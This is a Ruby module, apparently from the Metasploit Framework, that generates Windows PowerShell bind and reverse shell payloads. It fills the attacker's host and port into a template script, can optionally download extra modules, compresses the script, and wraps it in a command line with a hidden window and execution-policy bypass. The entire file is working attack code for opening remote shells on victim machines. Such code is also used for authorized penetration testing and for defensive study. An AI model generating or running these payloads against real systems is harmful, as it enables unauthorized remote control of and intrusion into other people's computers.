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powershell.rb
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powershell.rb
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# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf
###
#
# Implements an overarching powershell payload generation module
#
###
module Payload::Windows::Powershell
def generate_powershell_code(conntype)
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
mods = ''
if conntype == "Bind"
script_in << "\npowerfun -Command bind"
elsif conntype == "Reverse"
script_in << "\npowerfun -Command reverse -Sslcon true"
end
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
command_args = {
noprofile: true,
windowstyle: 'hidden',
noninteractive: true,
executionpolicy: 'bypass'
}
cli = Rex::Powershell::Command.generate_psh_command_line(command_args)
return "#{cli} \"#{script}\""
end
def generate
command_string
end
end
end